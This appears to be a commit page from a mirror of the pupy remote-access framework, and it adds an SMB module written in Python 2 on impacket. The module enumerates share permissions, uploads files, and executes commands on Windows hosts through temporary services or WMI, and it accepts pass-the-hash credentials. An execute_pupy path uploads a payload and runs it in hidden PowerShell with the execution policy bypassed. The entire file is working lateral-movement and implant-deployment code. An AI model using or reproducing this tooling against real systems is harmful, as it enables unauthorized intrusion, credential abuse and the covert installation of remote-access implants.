mirror of https://github.com/n1nj4sec/pupy.git
smbmap module pupyutils
This commit is contained in:
parent
d24dce14ae
commit
c29c83c9be
|
@ -0,0 +1,453 @@
|
|||
#!/usr/bin/env python2
|
||||
from impacket import smbserver, ntlm
|
||||
from impacket.dcerpc.v5 import transport, scmr
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.smbconnection import *
|
||||
import argparse
|
||||
import time
|
||||
import ntpath
|
||||
import ConfigParser
|
||||
import traceback
|
||||
import random
|
||||
import sys
|
||||
import os
|
||||
import string
|
||||
|
||||
PERM_DIR = ''.join(random.sample(string.ascii_letters, 10))
|
||||
OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10))
|
||||
BATCH_FILENAME = ''.join(random.sample(string.ascii_letters, 10)) + '.bat'
|
||||
SMBSERVER_DIR = ''.join(random.sample(string.ascii_letters, 10))
|
||||
DUMMY_SHARE = 'TMP'
|
||||
|
||||
class SMBServer():
|
||||
def __init__(self):
|
||||
if os.geteuid() != 0:
|
||||
exit('[!] Error: ** SMB Server must be run as root **')
|
||||
|
||||
def cleanup_server(self):
|
||||
print '[*] Cleaning up..'
|
||||
try:
|
||||
os.unlink(SMBSERVER_DIR + '/smb.log')
|
||||
except:
|
||||
pass
|
||||
os.rmdir(SMBSERVER_DIR)
|
||||
|
||||
def run(self):
|
||||
# Here we write a mini config for the server
|
||||
smbConfig = ConfigParser.ConfigParser()
|
||||
smbConfig.add_section('global')
|
||||
smbConfig.set('global','server_name','server_name')
|
||||
smbConfig.set('global','server_os','UNIX')
|
||||
smbConfig.set('global','server_domain','WORKGROUP')
|
||||
smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log')
|
||||
smbConfig.set('global','credentials_file','')
|
||||
|
||||
# Let's add a dummy share
|
||||
smbConfig.add_section(DUMMY_SHARE)
|
||||
smbConfig.set(DUMMY_SHARE,'comment','')
|
||||
smbConfig.set(DUMMY_SHARE,'read only','no')
|
||||
smbConfig.set(DUMMY_SHARE,'share type','0')
|
||||
smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
|
||||
|
||||
# IPC always needed
|
||||
smbConfig.add_section('IPC$')
|
||||
smbConfig.set('IPC$','comment','')
|
||||
smbConfig.set('IPC$','read only','yes')
|
||||
smbConfig.set('IPC$','share type','3')
|
||||
smbConfig.set('IPC$','path')
|
||||
|
||||
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
|
||||
print '[*] Creating tmp directory'
|
||||
try:
|
||||
os.mkdir(SMBSERVER_DIR)
|
||||
except Exception, e:
|
||||
print '[!]', e
|
||||
pass
|
||||
print '[*] Setting up SMB Server'
|
||||
self.smb.processConfigFile()
|
||||
print '[*] Ready to listen...'
|
||||
try:
|
||||
self.smb.serve_forever()
|
||||
except:
|
||||
pass
|
||||
|
||||
def stop(self):
|
||||
self.cleanup_server()
|
||||
self.smb.socket.close()
|
||||
self.smb.server_close()
|
||||
|
||||
class RemoteShellsmbexec():
|
||||
def __init__(self, share, rpc, mode, serviceName, command):
|
||||
self.__share = share
|
||||
self.__mode = mode
|
||||
self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME
|
||||
self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
|
||||
self.__outputBuffer = ''
|
||||
self.__command = command
|
||||
self.__shell = '%COMSPEC% /Q /c '
|
||||
self.__serviceName = serviceName
|
||||
self.__rpc = rpc
|
||||
self.__scmr = rpc.get_dce_rpc()
|
||||
|
||||
try:
|
||||
self.__scmr.connect()
|
||||
except Exception as e:
|
||||
print "[!] {}".format(e)
|
||||
sys.exit(1)
|
||||
|
||||
s = rpc.get_smb_connection()
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
s.setTimeout(100000)
|
||||
if mode == 'SERVER':
|
||||
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
|
||||
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
|
||||
|
||||
try:
|
||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||
self.__scHandle = resp['lpScHandle']
|
||||
self.transferClient = rpc.get_smb_connection()
|
||||
except Exception as e:
|
||||
print "[-] {}".format(e)
|
||||
|
||||
def set_copyback(self):
|
||||
s = self.__rpc.get_smb_connection()
|
||||
s.setTimeout(100000)
|
||||
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
|
||||
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
|
||||
|
||||
def finish(self):
|
||||
# Just in case the service is still created
|
||||
try:
|
||||
self.__scmr = self.__rpc.get_dce_rpc()
|
||||
self.__scmr.connect()
|
||||
self.__scmr.bind(svcctl.MSRPC_UUID_SVCCTL)
|
||||
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||
self.__scHandle = resp['lpScHandle']
|
||||
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
|
||||
service = resp['lpServiceHandle']
|
||||
scmr.hRDeleteService(self.__scmr, service)
|
||||
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
|
||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||
except Exception, e:
|
||||
pass
|
||||
|
||||
def get_output(self):
|
||||
def output_callback(data):
|
||||
self.__outputBuffer += data
|
||||
|
||||
if self.__mode == 'SHARE':
|
||||
|
||||
#while True:
|
||||
# try:
|
||||
self.transferClient.getFile(self.__share, self.__output, output_callback)
|
||||
# break
|
||||
# except Exception, e:
|
||||
# if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
# time.sleep(1)
|
||||
# pass
|
||||
# else:
|
||||
# print str(e)
|
||||
# pass
|
||||
self.transferClient.deleteFile(self.__share, self.__output)
|
||||
|
||||
else:
|
||||
fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r')
|
||||
output_callback(fd.read())
|
||||
fd.close()
|
||||
os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
|
||||
|
||||
def execute_remote(self, data):
|
||||
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
||||
if self.__mode == 'SERVER':
|
||||
command += ' & ' + self.__copyBack
|
||||
command += ' & ' + 'del ' + self.__batchFile
|
||||
|
||||
try:
|
||||
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
|
||||
service = resp['lpServiceHandle']
|
||||
except:
|
||||
return
|
||||
|
||||
try:
|
||||
scmr.hRStartServiceW(self.__scmr, service)
|
||||
except:
|
||||
pass
|
||||
scmr.hRDeleteService(self.__scmr, service)
|
||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||
self.get_output()
|
||||
|
||||
def send_data(self, data):
|
||||
self.execute_remote(data)
|
||||
result = self.__outputBuffer
|
||||
self.__outputBuffer = ''
|
||||
return result
|
||||
|
||||
class CMDEXEC:
|
||||
KNOWN_PROTOCOLS = {
|
||||
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
|
||||
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
||||
}
|
||||
|
||||
|
||||
def __init__(self, protocols = None, username = '', password = '', domain = '', hashes = '', share = None, command= None):
|
||||
if not protocols:
|
||||
protocols = CMDEXEC.KNOWN_PROTOCOLS.keys()
|
||||
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__protocols = [protocols]
|
||||
self.__serviceName = self.service_generator()
|
||||
self.__domain = domain
|
||||
self.__command = command
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = None
|
||||
self.__doKerberos = None
|
||||
self.__share = share
|
||||
self.__mode = 'SHARE'
|
||||
if hashes:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
def service_generator(self, size=6, chars=string.ascii_uppercase):
|
||||
return ''.join(random.choice(chars) for _ in range(size))
|
||||
|
||||
def run(self, addr):
|
||||
result = ''
|
||||
for protocol in self.__protocols:
|
||||
protodef = CMDEXEC.KNOWN_PROTOCOLS[protocol]
|
||||
port = protodef[1]
|
||||
#logging.info("Trying protocol %s..." % protocol)
|
||||
#logging.info("Creating service %s..." % self.__serviceName)
|
||||
|
||||
stringbinding = protodef[0] % addr
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
rpctransport.set_dport(port)
|
||||
|
||||
if hasattr(rpctransport,'preferred_dialect'):
|
||||
rpctransport.preferred_dialect(SMB_DIALECT)
|
||||
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
|
||||
try:
|
||||
self.shell = RemoteShellsmbexec(self.__share, rpctransport, self.__mode, self.__serviceName, self.__command)
|
||||
result = self.shell.send_data(self.__command)
|
||||
except SessionError as e:
|
||||
if 'STATUS_SHARING_VIOLATION' in str(e):
|
||||
return
|
||||
else:
|
||||
print "[-] {}".format(e)
|
||||
|
||||
#self.__mode = 'SERVER'
|
||||
#serverThread = SMBServer()
|
||||
#serverThread.daemon = True
|
||||
#serverThread.start()
|
||||
#self.shell = RemoteShellsmbexec(self.__share, rpctransport, self.__mode, self.__serviceName, self.__command)
|
||||
#self.shell.set_copyback()
|
||||
#result = self.shell.send_data(self.__command)
|
||||
#serverThread.stop()
|
||||
|
||||
except (Exception, KeyboardInterrupt), e:
|
||||
print e
|
||||
traceback.print_exc()
|
||||
self.shell.finish()
|
||||
sys.stdout.flush()
|
||||
# sys.exit(1)
|
||||
|
||||
return result
|
||||
|
||||
class WMIEXEC:
|
||||
def __init__(self, command = '', username = '', password = '', domain = '', hashes = '', share = None, noOutput=True):
|
||||
self.__command = command
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = None
|
||||
self.__share = share
|
||||
self.__noOutput = noOutput
|
||||
self.__doKerberos = False
|
||||
if hashes:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
def run(self, addr, smbConnection):
|
||||
result = ''
|
||||
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos)
|
||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
win32Process,_ = iWbemServices.GetObject('Win32_Process')
|
||||
|
||||
try:
|
||||
self.shell = RemoteShellwmi(self.__share, win32Process, smbConnection)
|
||||
result = self.shell.send_data(self.__command)
|
||||
except (Exception, KeyboardInterrupt), e:
|
||||
traceback.print_exc()
|
||||
dcom.disconnect()
|
||||
sys.stdout.flush()
|
||||
|
||||
dcom.disconnect()
|
||||
|
||||
return result
|
||||
|
||||
class RemoteShellwmi():
|
||||
def __init__(self, share, win32Process, smbConnection):
|
||||
self.__share = share
|
||||
self.__output = '\\' + OUTPUT_FILENAME
|
||||
self.__outputBuffer = ''
|
||||
self.__shell = 'cmd.exe /Q /c '
|
||||
self.__win32Process = win32Process
|
||||
self.__transferClient = smbConnection
|
||||
self.__pwd = 'C:\\'
|
||||
self.__noOutput = False
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
if self.__transferClient is not None:
|
||||
self.__transferClient.setTimeout(100000)
|
||||
else:
|
||||
self.__noOutput = True
|
||||
|
||||
def get_output(self):
|
||||
def output_callback(data):
|
||||
self.__outputBuffer += data
|
||||
|
||||
if self.__noOutput is True:
|
||||
self.__outputBuffer = ''
|
||||
return
|
||||
|
||||
while True:
|
||||
try:
|
||||
self.__transferClient.getFile(self.__share, self.__output, output_callback)
|
||||
break
|
||||
except Exception, e:
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
time.sleep(1)
|
||||
pass
|
||||
else:
|
||||
#print str(e)
|
||||
pass
|
||||
self.__transferClient.deleteFile(self.__share, self.__output)
|
||||
|
||||
def execute_remote(self, data):
|
||||
command = self.__shell + data
|
||||
if self.__noOutput is False:
|
||||
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
|
||||
obj = self.__win32Process.Create(command, self.__pwd, None)
|
||||
self.get_output()
|
||||
|
||||
def send_data(self, data):
|
||||
self.execute_remote(data)
|
||||
result = self.__outputBuffer
|
||||
self.__outputBuffer = ''
|
||||
return result
|
||||
|
||||
def _listShares(smb, passwd):
|
||||
permissions = dict()
|
||||
root = ntpath.normpath("\\{}".format(PERM_DIR))
|
||||
|
||||
for share in smb.listShares():
|
||||
share_name = str(share['shi1_netname'][:-1])
|
||||
permissions[share_name] = "NO ACCESS"
|
||||
|
||||
try:
|
||||
if smb.listPath(share_name, '', passwd):
|
||||
permissions[share_name] = "READ"
|
||||
except:
|
||||
pass
|
||||
|
||||
try:
|
||||
if smb.createDirectory(share_name, root):
|
||||
smb.deleteDirectory(share_name, root)
|
||||
permissions[share_name] = "READ, WRITE"
|
||||
except:
|
||||
pass
|
||||
|
||||
return permissions
|
||||
|
||||
def upload_file(smbconn, host, src, dst):
|
||||
dst = string.replace(dst,'/','\\')
|
||||
dst = ntpath.normpath(dst)
|
||||
dst = dst.split('\\')
|
||||
share = dst[0]
|
||||
dst = '\\'.join(dst[1:])
|
||||
|
||||
if os.path.exists(src):
|
||||
print '[+] Starting upload: %s (%s bytes)' % (src, os.path.getsize(src))
|
||||
upFile = open(src, 'rb')
|
||||
try:
|
||||
smbconn.putFile(share, dst, upFile.read)
|
||||
print '[+] Upload complete: %s' % dst
|
||||
except Exception as e:
|
||||
print '[!]', e
|
||||
print '[!] Error uploading file, you need to include destination file name in the path'
|
||||
upFile.close()
|
||||
else:
|
||||
print '[!] Invalid source. File does not exist'
|
||||
|
||||
def connect(host, port, user, passwd, hash, share, list_shares, execute_pupy, random_pupy_name, src, dst, command, domain="workgroup", execm="smbexec"):
|
||||
try:
|
||||
smb = SMBConnection(host, host, None, port, timeout=2)
|
||||
try:
|
||||
smb.login('' , '')
|
||||
except SessionError as e:
|
||||
if "STATUS_ACCESS_DENIED" in e.message:
|
||||
pass
|
||||
|
||||
print "[+] {}:{} is running {} (name:{}) (domain:{})".format(host, port, smb.getServerOS(), smb.getServerName(), domain)
|
||||
|
||||
if execute_pupy:
|
||||
# command = 'powershell.exe "cat %s | Out-String | IEX"' % (dst.replace('$', ':'))
|
||||
dst = dst.replace('txt', 'ps1')
|
||||
command = 'powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -file "%s"' % dst.replace('$', ':')
|
||||
# print 'src: %s' % src
|
||||
# print 'dst: %s' % (dst.replace('$', ':') + os.sep + random_pupy_name)
|
||||
# print 'random_pupy_name: %s' % random_pupy_name
|
||||
|
||||
if list_shares or command:
|
||||
try:
|
||||
lmhash = ''
|
||||
nthash = ''
|
||||
if hash:
|
||||
lmhash, nthash = hash.split(':')
|
||||
|
||||
smb.login(user, passwd, domain, lmhash, nthash)
|
||||
if list_shares:
|
||||
separator = " " * (50 - len("SHARE"))
|
||||
print "\tSHARE%sPermissions" % separator
|
||||
print "\t----%s-----------" % separator
|
||||
for share, perm in _listShares(smb, passwd).iteritems():
|
||||
separator = " " * (50 - len(share))
|
||||
print "\t%s%s%s" % (share, separator, perm)
|
||||
print
|
||||
|
||||
if execute_pupy:
|
||||
upload_file(smb, host, src, dst)
|
||||
|
||||
if command:
|
||||
if execm == 'smbexec':
|
||||
executer = CMDEXEC('{}/SMB'.format(port), user, passwd, domain, hash, share, command)
|
||||
result = executer.run(host)
|
||||
|
||||
elif execm == 'wmi':
|
||||
executer = WMIEXEC(command, user, passwd, domain, hash, share)
|
||||
result = executer.run(host, smb)
|
||||
|
||||
if result: print result
|
||||
|
||||
smb.logoff()
|
||||
|
||||
except SessionError as e:
|
||||
print "[-] {}:{} {}".format(host, port, e)
|
||||
except Exception as e:
|
||||
print "[-] {}:{} {}".format(host, port, e)
|
||||
|
||||
except Exception as e:
|
||||
print "[!] {}".format(e)
|
||||
|
Loading…
Reference in New Issue